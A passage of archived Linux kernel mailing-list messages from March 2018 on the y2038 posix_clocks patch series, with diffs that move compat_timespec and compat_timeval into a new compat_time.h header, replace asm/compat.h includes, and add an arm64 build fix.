-#include <asm/compat.h>
+#include <linux/compat.h>
 
 /*
  * Because ia32 syscalls do not map to x86_64 syscall numbers
diff --git a/arch/x86/include/asm/sys_ia32.h b/arch/x86/include/asm/sys_ia32.h
index 82c34ee25a65..8c4083dcd901 100644
--- a/arch/x86/include/asm/sys_ia32.h
+++ b/arch/x86/include/asm/sys_ia32.h
@@ -12,11 +12,11 @@
 
 #ifdef CONFIG_COMPAT
 
+#include <linux/compat.h>
 #include <linux/compiler.h>
 #include <linux/linkage.h>
 #include <linux/types.h>
 #include <linux/signal.h>
-#include <asm/compat.h>
 #include <asm/ia32.h>
 
 /* ia32/sys_ia32.c */
diff --git a/arch/x86/kernel/sys_x86_64.c b/arch/x86/kernel/sys_x86_64.c
index 676774b9bb8d..6cba5755958c 100644
--- a/arch/x86/kernel/sys_x86_64.c
+++ b/arch/x86/kernel/sys_x86_64.c
@@ -1,4 +1,5 @@
 // SPDX-License-Identifier: GPL-2.0
+#include <linux/compat.h>
 #include <linux/errno.h>
 #include <linux/sched.h>
 #include <linux/sched/mm.h>
@@ -19,7 +20,6 @@
 #include <linux/elf.h>
 
 #include <asm/elf.h>
-#include <asm/compat.h>
 #include <asm/ia32.h>
 #include <asm/syscalls.h>
 #include <asm/mpx.h>
diff --git a/drivers/s390/block/dasd_ioctl.c b/drivers/s390/block/dasd_ioctl.c
index 7bdc6aaa0ba3..2016e0ed5865 100644
--- a/drivers/s390/block/dasd_ioctl.c
+++ b/drivers/s390/block/dasd_ioctl.c
@@ -18,7 +18,6 @@
 #include <linux/fs.h>
 #include <linux/blkpg.h>
 #include <linux/slab.h>
-#include <asm/compat.h>
 #include <asm/ccwdev.h>
 #include <asm/schid.h>
 #include <asm/cmb.h>
diff --git a/drivers/s390/char/fs3270.c b/drivers/s390/char/fs3270.c
index 61822480a2a0..16a4e8528bbc 100644
--- a/drivers/s390/char/fs3270.c
+++ b/drivers/s390/char/fs3270.c
@@ -19,7 +19,6 @@
 #include <linux/slab.h>
 #include <linux/types.h>
 
-#include <asm/compat.h>
 #include <asm/ccwdev.h>
 #include <asm/cio.h>
 #include <asm/ebcdic.h>
diff --git a/drivers/s390/char/sclp_ctl.c b/drivers/s390/char/sclp_ctl.c
index a78cea0c3a09..248b5db3eaa8 100644
--- a/drivers/s390/char/sclp_ctl.c
+++ b/drivers/s390/char/sclp_ctl.c
@@ -14,7 +14,6 @@
 #include <linux/init.h>
 #include <linux/ioctl.h>
 #include <linux/fs.h>
-#include <asm/compat.h>
 #include <asm/sclp_ctl.h>
 #include <asm/sclp.h>
 
diff --git a/drivers/s390/char/vmcp.c b/drivers/s390/char/vmcp.c
index 17e411c57576..948ce82a7725 100644
--- a/drivers/s390/char/vmcp.c
+++ b/drivers/s390/char/vmcp.c
@@ -23,7 +23,6 @@
 #include <linux/mutex.h>
 #include <linux/cma.h>
 #include <linux/mm.h>
-#include <asm/compat.h>
 #include <asm/cpcmd.h>
 #include <asm/debug.h>
 #include <asm/vmcp.h>
diff --git a/drivers/s390/cio/chsc_sch.c b/drivers/s390/cio/chsc_sch.c
index 0015729d917d..8d9f36625ba5 100644
--- a/drivers/s390/cio/chsc_sch.c
+++ b/drivers/s390/cio/chsc_sch.c
@@ -16,7 +16,6 @@
 #include <linux/miscdevice.h>
 #include <linux/kernel_stat.h>
 
-#include <asm/compat.h>
 #include <asm/cio.h>
 #include <asm/chsc.h>
 #include <asm/isc.h>
diff --git a/drivers/s390/net/qeth_core_main.c b/drivers/s390/net/qeth_core_main.c
index c8b308cfabf1..d3529ef6e0f7 100644
--- a/drivers/s390/net/qeth_core_main.c
+++ b/drivers/s390/net/qeth_core_main.c
@@ -10,6 +10,7 @@
 #define KMSG_COMPONENT "qeth"
 #define pr_fmt(fmt) KMSG_COMPONENT ": " fmt
 
+#include <linux/compat.h>
 #include <linux/module.h>
 #include <linux/moduleparam.h>
 #include <linux/string.h>
@@ -32,7 +33,6 @@
 #include <asm/chpid.h>
 #include <asm/io.h>
 #include <asm/sysinfo.h>
-#include <asm/compat.h>
 #include <asm/diag.h>
 #include <asm/cio.h>
 #include <asm/ccwdev.h>
diff --git a/include/linux/compat.h b/include/linux/compat.h
index bdf1908a392e..0eb4a3a8f62e 100644
--- a/include/linux/compat.h
+++ b/include/linux/compat.h
@@ -7,6 +7,7 @@
  */
 
 #include <linux/types.h>
+#include <linux/compat_time.h>
 
 #include <linux/stat.h>
 #include <linux/param.h>	/* for HZ */
diff --git a/include/linux/compat_time.h b/include/linux/compat_time.h
new file mode 100644
index 000000000000..56a54a1e4355
--- /dev/null
+++ b/include/linux/compat_time.h
@@ -0,0 +1,19 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef _LINUX_COMPAT_TIME_H
+#define _LINUX_COMPAT_TIME_H
+
+#include <linux/types.h>
+
+typedef s32		compat_time_t;
+
+struct compat_timespec {
+	compat_time_t	tv_sec;
+	s32		tv_nsec;
+};
+
+struct compat_timeval {
+	compat_time_t	tv_sec;
+	s32		tv_usec;
+};
+
+#endif /* _LINUX_COMPAT_TIME_H */
-- 
2.14.1

From - Thu Nov 08 21:41:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.kernel.year-2038,gmane.linux.oprofile,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.api,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v5 00/10] posix_clocks: Prepare syscalls for 64 bit time_t
 conversion
Date: Wed, 14 Mar 2018 17:12:44 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <CAK8P3a3hbD=-P1wBwXEOnMdewGsUpZPERBHv6wo+3qqDkZD1qg@mail.gmail.com>
References: <20180314040333.3291-1-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521043851 993 195.159.176.226 (14 Mar 2018 16:10:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 14 Mar 2018 16:10:51 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>,
 "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Stefan Haberland <sth@linux.vnet.ibm.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Paul Mackerras <paulus@samba.org>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux <sparclinux@vger.kernel.org>,
 devel@driverdev.osuosl.org, linux-s390 <linux-s390@vger.kernel.org>,
 y2038 Mailman List <y2038@lists.linaro.org>,
 Michael Ellerman <mpe@ellerman.id.au>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>, sebott@linux.vnet.ibm.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Will Deacon <will.deacon@arm.com>,
 Christian Borntraeger <borntraeger@de.ibm.com>, Ingo Molnar <mingo@redhat.com>,
 oprofile-list@lists.sf.net, Catalin Marinas <catalin.marinas@arm.com>,
 linu
To: Deepa Dinamani <deepa.kernel@gmail.com>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Wed Mar 14 17:10:43 2018
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp2.osuosl.org ([140.211.166.133] helo=hemlock.osuosl.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1ew8zC-0008UA-4b
	for glddd-devel@m.gmane.org; Wed, 14 Mar 2018 17:10:42 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by hemlock.osuosl.org (Postfix) with ESMTP id 0D5458989F;
	Wed, 14 Mar 2018 16:12:49 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id TLElY-4t5ki0; Wed, 14 Mar 2018 16:12:48 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by hemlock.osuosl.org (Postfix) with ESMTP id 66B72898DC;
	Wed, 14 Mar 2018 16:12:48 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from hemlock.osuosl.org (smtp2.osuosl.org [140.211.166.133])
 by ash.osuosl.org (Postfix) with ESMTP id CFFC61C27C0
 for <devel@linuxdriverproject.org>; Wed, 14 Mar 2018 16:12:46 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by hemlock.osuosl.org (Postfix) with ESMTP id CC5AB898DC
 for <devel@linuxdriverproject.org>; Wed, 14 Mar 2018 16:12:46 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id dCbTog1kBgd3 for <devel@linuxdriverproject.org>;
 Wed, 14 Mar 2018 16:12:46 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-it0-f68.google.com (mail-it0-f68.google.com
 [209.85.214.68])
 by hemlock.osuosl.org (Postfix) with ESMTPS id D65E48989F
 for <devel@driverdev.osuosl.org>; Wed, 14 Mar 2018 16:12:45 +0000 (UTC)
Original-Received: by mail-it0-f68.google.com with SMTP id j7-v6so5411219ita.3
 for <devel@driverdev.osuosl.org>; Wed, 14 Mar 2018 09:12:45 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:sender:in-reply-to:references:from:date:message-id
 :subject:to:cc;
 bh=PXhAUM1ujti2ggMq33kfwOh80dumHST2nTNA53edVjI=;
 b=ppKoJqpsqRLnDYIaacNz+bKT8dIg/GhFKesaSHpKbql1NaxXjhOXprJi9rhoqT8AZp
 m8+a/W9k2hUMVfSmoA6HCSyKqMbrttUKEn5W7B2ykjiprS2bqfBW4aTllQCyD2kgIvQA
 H2VjVY80UO/bJ/CfaTvgfidozPqZtFGgGoOjAXxIawP2ELgE9aR6QVvLaOnlh3HeGfcj
 1kp95TNHAZdsdQ/sAnJEhy4TP4YCg/f67iMERJFfKbCGj2oYANLdTtpH390X79BPQDYX
 qLD5bqi0w75mz0HVGO3BUj9J6xF+V/k0KpMEQDQ6YZlRHChsdtvHSWu0ZyB95QZLIf3d
 YPtg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
 :date:message-id:subject:to:cc;
 bh=PXhAUM1ujti2ggMq33kfwOh80dumHST2nTNA53edVjI=;
 b=pml6KVgJeomupccT6348AWqpLlJiH1tGRxFqtf6Et7sWX0cRs270iLKmhs61MHPPdd
 k6qERr9ORwe9iBSzVsL+WbCqxArLbdFhcYyMgs6AxuPP6e6kB1ABq8YJ5eC52bgBBCFN
 2O3wRkVWzAptN1GU6lm0m1uVlgsGguqJM+G857nM/2hjFwvXdc3+awfiBQJ0/BPRYB5a
 OaQAVwp8Ul01brEmPMvA12ESCetYTXa3fW9yurVPCpdMUsIxE1XwLqQ8+69SViDw/mJt
 YET20H33lLB08Yl1jD5B5sfFewwY6Hcq7CJ+IGgakbtDihSL77LEk1fGauLKk5rJ6W4p
 HJGg==
X-Gm-Message-State: AElRT7HlPAQdDsn8ui/wkkAy3VxUEw7bKFrFLlWOVYzz+h1DfaHXWXGE
 YjIcF2Ym3rAinAzjqRnDdyQ8vPmwEa6+aEi2zBo=
X-Google-Smtp-Source: AG47ELttrolLvbH6pRWypHIk4oaUmp3fA0Mub2DNQZPCyhlM9dLz1gia3Qw2E7NjjxwliykkMaJzQUrnVxn1Ptp6LQk=
X-Received: by 2002:a24:be09:: with SMTP id i9-v6mr2488932itf.27.1521043965060; 
 Wed, 14 Mar 2018 09:12:45 -0700 (PDT)
Original-Received: by 10.79.34.71 with HTTP; Wed, 14 Mar 2018 09:12:44 -0700 (PDT)
In-Reply-To: <20180314040333.3291-1-deepa.kernel@gmail.com>
X-Google-Sender-Auth: luhBzRJ6eLFWYRsu7hdv5zZRR4g
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:114441 gmane.linux.ports.mips.general:64024 gmane.linux.ports.sparc:27416 gmane.linux.kernel.year-2038:2554 gmane.linux.oprofile:13171 gmane.linux.kernel.cross-arch:42707 gmane.linux.ports.parisc:28323 gmane.linux.kernel:2713803 gmane.linux.kernel.api:27152 gmane.linux.ports.ppc64.devel:154439
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/114441>

On Wed, Mar 14, 2018 at 5:03 AM, Deepa Dinamani <deepa.kernel@gmail.com> wrote:
> The series is a preparation series for individual architectures
> to use 64 bit time_t syscalls in compat and 32 bit emulation modes.
>
> This is a follow up to the series Arnd Bergmann posted:
> https://sourceware.org/ml/libc-alpha/2015-05/msg00070.html [1]
>
> Thomas, Arnd, this seems ready to be merged now.
> Can you help get this merged?
>
> Big picture is as per the lwn article:
> https://lwn.net/Articles/643234/ [2]
>
> The series is directed at converting posix clock syscalls:
> clock_gettime, clock_settime, clock_getres and clock_nanosleep
> to use a new data structure __kernel_timespec at syscall boundaries.
> __kernel_timespec maintains 64 bit time_t across all execution modes.
>
> vdso will be handled as part of each architecture when they enable
> support for 64 bit time_t.
>
> The compat syscalls are repurposed to provide backward compatibility
> by using them as native syscalls as well for 32 bit architectures.
> They will continue to use timespec at syscall boundaries.
>
> CONFIG_64_BIT_TIME controls whether the syscalls use __kernel_timespec
> or timespec at syscall boundaries.
>
> The series does the following:
> 1. Enable compat syscalls on 32 bit architectures.
> 2. Add a new __kernel_timespec type to be used as the data structure
>    for all the new syscalls.
> 3. Add new config CONFIG_64BIT_TIME(intead of the CONFIG_COMPAT_TIME in
>    [1] and [2] to switch to new definition of __kernel_timespec. It is
>    the same as struct timespec otherwise.
> 4. Add new CONFIG_32BIT_TIME to conditionally compile compat syscalls.

I've applied all 10 patches to my y2038 git branch [1], which is part
of linux-next,
to give it a little wider testing. If everything goes well, I'd send a
pull request to
Thomas next week so he can integrate it into tip from there, or (if he prefers)
send it directly to Linus in the merge window.

Thanks a lot for your persistence and your work on this!

      Arnd

[1] git://git.kernel.org/pub/scm/linux/kernel/git/arnd/playground.git#y2038

From - Thu Nov 08 21:41:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.kernel.year-2038,gmane.linux.oprofile,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [Y2038] [PATCH v4 02/10] include: Move compat_timespec/ timeval
 to compat_time.h
Date: Wed, 14 Mar 2018 21:52:21 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <CAK8P3a1fxWAK94GH0cpzh6CHXgL4uJuDNCGpdJen5ib1HH1xoA@mail.gmail.com>
References: <20180312175307.11032-3-deepa.kernel@gmail.com>
 <201803132313.a4R8Y434%fengguang.wu@intel.com>
 <CABeXuvqNKfuvffU24Xydixv6Ro8R=2nAH4bruzx0AW=ax-6yOQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521060628 12528 195.159.176.226 (14 Mar 2018 20:50:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 14 Mar 2018 20:50:28 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>,
 "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Paul Mackerras <paulus@samba.org>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux <sparclinux@vger.kernel.org>,
 devel@driverdev.osuosl.org, linux-s390 <linux-s390@vger.kernel.org>,
 y2038 Mailman List <y2038@lists.linaro.org>,
 Michael Ellerman <mpe@ellerman.id.au>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>, sebott@linux.vnet.ibm.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Will Deacon <will.deacon@arm.com>,
 Christian Borntraeger <borntraeger@de.ibm.com>, Ingo Molnar <mingo@redhat.com>,
 oprofile-list@lists.sf.net, Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Robert Richter <rric@kernel.org>, Chris Metcalf
To: Deepa Dinamani <deepa.kernel@gmail.com>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Wed Mar 14 21:50:20 2018
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp4.osuosl.org ([140.211.166.137] helo=fraxinus.osuosl.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1ewDLm-00034E-Uo
	for glddd-devel@m.gmane.org; Wed, 14 Mar 2018 21:50:19 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by fraxinus.osuosl.org (Postfix) with ESMTP id 79E7D87F3E;
	Wed, 14 Mar 2018 20:52:25 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from fraxinus.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04ClJhboP3ng; Wed, 14 Mar 2018 20:52:24 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by fraxinus.osuosl.org (Postfix) with ESMTP id 891DD87EE7;
	Wed, 14 Mar 2018 20:52:24 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from fraxinus.osuosl.org (smtp4.osuosl.org [140.211.166.137])
 by ash.osuosl.org (Postfix) with ESMTP id 97D9D1C1F91
 for <devel@linuxdriverproject.org>; Wed, 14 Mar 2018 20:52:23 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by fraxinus.osuosl.org (Postfix) with ESMTP id 9450087EE7
 for <devel@linuxdriverproject.org>; Wed, 14 Mar 2018 20:52:23 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from fraxinus.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id 4TWttCcytJwb for <devel@linuxdriverproject.org>;
 Wed, 14 Mar 2018 20:52:22 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-qk0-f193.google.com (mail-qk0-f193.google.com
 [209.85.220.193])
 by fraxinus.osuosl.org (Postfix) with ESMTPS id BC5E387ECD
 for <devel@driverdev.osuosl.org>; Wed, 14 Mar 2018 20:52:22 +0000 (UTC)
Original-Received: by mail-qk0-f193.google.com with SMTP id v124so5011264qkh.11
 for <devel@driverdev.osuosl.org>; Wed, 14 Mar 2018 13:52:22 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:sender:in-reply-to:references:from:date:message-id
 :subject:to:cc;
 bh=TuIcBMbKJVC7d7hFcyT5+6GqO7a+cU58/fsIl4kmons=;
 b=KkexHSMH9xcBD9TP9uLnSQTvtAtzKgS0BLXVnOlDeI1kF3ldBVjBs0PWUxJdZhpcA9
 3qjBO6fDMKirGPIb4gUNGHrX1FsVCq7RI548v1jilreCm6jdHMcW0NZsCgn5aW6NZB9B
 SuF7WsyPOC9mtFELWSWpw6VH67HqMz+hsHbdpagiGqaw8FuoIKYmvF1IjdGyPsTWCTb1
 a0j0NmQxhrR5UmtyAf8C/1UfUdqmawo9HZyxcVGwu5FPzZFOO/RXnhV9q6QbFF6y+u4d
 wInlWaOC/FdBuDgo2ZK7UOFiRLPYSkk9uUhJXqt/9REaHl1TlKNipuAaaG4bsHp8fgax
 PwRA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
 :date:message-id:subject:to:cc;
 bh=TuIcBMbKJVC7d7hFcyT5+6GqO7a+cU58/fsIl4kmons=;
 b=EFRTe2nlzJ3KMRqi+ew3qEHsG46dfQzbgGUdbr8dYI+n7KndVSQxoDMu6pjWv/Gz7P
 mY6ei1Nm+DNw8xR4OXQtIp6LqUJyUYqLebAc418SMqdCrzgNw3KEzUoCDyPhamqat/6i
 kwLaERazHeBunPhuAmgC+ZqwtQThVI0ZDXChhMRkR0Yg92fJure0w3Prl2utLiNsp83e
 avj9HfV40W8CrRfzcSA4WLxsu1OPI0hQiVhf4kFYyMhmJa2BEzTJA0pRPceQrb8Dlal6
 Rc1QBawfTu4d1HOEp2WHLGDY/fMiaHFvVTf4NuqvnI+Gk/33fND8fa5aNNsWxEAGORFE
 Cl6g==
X-Gm-Message-State: AElRT7EhX3tAeRqPXMhvwpYtuUojGVt6sPgG97ziupuwh59lTLH0Kqc+
 xcn3L1TBVu5i4sDc4l/Y1s5BuyVXgKDEi2vV/A4=
X-Google-Smtp-Source: AG47ELvxs8tI4ovw4LYYl9WnjOgPeVdJtaAfQjx47VJzx8+UktWw9SmhCiypE7XQ2V4v84urAT3Y9dTr7i/ZSrAncvY=
X-Received: by 10.55.157.66 with SMTP id g63mr9063341qke.107.1521060741652;
 Wed, 14 Mar 2018 13:52:21 -0700 (PDT)
Original-Received: by 10.12.185.46 with HTTP; Wed, 14 Mar 2018 13:52:21 -0700 (PDT)
In-Reply-To: <CABeXuvqNKfuvffU24Xydixv6Ro8R=2nAH4bruzx0AW=ax-6yOQ@mail.gmail.com>
X-Google-Sender-Auth: QhLFsyx3N4JlhiSHq39H04slYE8
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:114487 gmane.linux.ports.mips.general:64025 gmane.linux.ports.sparc:27417 gmane.linux.kernel.year-2038:2555 gmane.linux.oprofile:13172 gmane.linux.ports.parisc:28324 gmane.linux.kernel:2714228 gmane.linux.ports.ppc64.devel:154462
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/114487>

On Wed, Mar 14, 2018 at 4:50 AM, Deepa Dinamani <deepa.kernel@gmail.com> wrote:
> The file arch/arm64/kernel/process.c needs asm/compat.h also to be
> included directly since this is included conditionally from
> include/compat.h. This does seem to be typical of arm64 as I was not
> completely able to get rid of asm/compat.h includes for arm64 in this
> series. My plan is to have separate patches to get rid of asm/compat.h
> includes for the architectures that are not straight forward to keep
> this series simple.
> I will fix this and update the series.
>

I ran across the same thing in two more files during randconfig testing on
arm64 now, adding this fixup on top for the moment, but maybe there
is a better way:

commit 4f3e9e1211799a79b201a1af309a1ec3864147ec
Author: Arnd Bergmann <arnd@arndb.de>
Date:   Wed Mar 14 18:23:16 2018 +0100

    arm64: fix perf_regs.c

    arch/arm64/kernel/perf_regs.c: In function 'perf_reg_abi':
    arch/arm64/kernel/perf_regs.c:50:6: error: implicit declaration of
function 'is_compat_thread'; did you mean 'is_compat_task'?
[-Werror=implicit-function-declaration]
    arch/arm64/kernel/hw_breakpoint.c: In function 'is_compat_bp':
    arch/arm64/kernel/hw_breakpoint.c:182:16: error: implicit
declaration of function 'is_compat_thread'; did you mean
'is_compat_task'? [-Werror=implicit-function-declaration]

    Signed-off-by: Arnd Bergmann <arnd@arndb.de>

diff --git a/arch/arm64/kernel/hw_breakpoint.c
b/arch/arm64/kernel/hw_breakpoint.c
index 413dbe530da8..74bb56f656ef 100644
--- a/arch/arm64/kernel/hw_breakpoint.c
+++ b/arch/arm64/kernel/hw_breakpoint.c
@@ -30,6 +30,7 @@
 #include <linux/smp.h>
 #include <linux/uaccess.h>

+#include <asm/compat.h>
 #include <asm/current.h>
 #include <asm/debug-monitors.h>
 #include <asm/hw_breakpoint.h>
diff --git a/arch/arm64/kernel/perf_regs.c b/arch/arm64/kernel/perf_regs.c
index 0bbac612146e..1b463a4efe49 100644
--- a/arch/arm64/kernel/perf_regs.c
+++ b/arch/arm64/kernel/perf_regs.c
@@ -6,6 +6,7 @@
 #include <linux/bug.h>
 #include <linux/sched/task_stack.h>

+#include <asm/compat.h>
 #include <asm/perf_regs.h>
 #include <asm/ptrace.h>

From - Thu Nov 08 21:41:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Deepa Dinamani <deepa.kernel@gmail.com>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.kernel.year-2038,gmane.linux.oprofile,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [Y2038] [PATCH v4 02/10] include: Move compat_timespec/ timeval
 to compat_time.h
Date: Wed, 14 Mar 2018 19:51:31 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <CABeXuvpFfD+a6tSSOvni=v23DuJ-bWeZwmnzg4SU+TR=WHxs7Q@mail.gmail.com>
References: <20180312175307.11032-3-deepa.kernel@gmail.com>
 <201803132313.a4R8Y434%fengguang.wu@intel.com>
 <CABeXuvqNKfuvffU24Xydixv6Ro8R=2nAH4bruzx0AW=ax-6yOQ@mail.gmail.com>
 <CAK8P3a1fxWAK94GH0cpzh6CHXgL4uJuDNCGpdJen5ib1HH1xoA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521082179 9440 195.159.176.226 (15 Mar 2018 02:49:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 15 Mar 2018 02:49:39 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>,
 "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Paul Mackerras <paulus@samba.org>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux <sparclinux@vger.kernel.org>,
 devel@driverdev.osuosl.org, linux-s390 <linux-s390@vger.kernel.org>,
 y2038 Mailman List <y2038@lists.linaro.org>,
 Michael Ellerman <mpe@ellerman.id.au>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>, sebott@linux.vnet.ibm.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Will Deacon <will.deacon@arm.com>,
 Christian Borntraeger <borntraeger@de.ibm.com>, Ingo Molnar <mingo@redhat.com>,
 oprofile-list@lists.sf.net, Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Robert Richter <rric@kernel.org>, Chris Metcalf
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Thu Mar 15 03:49:31 2018
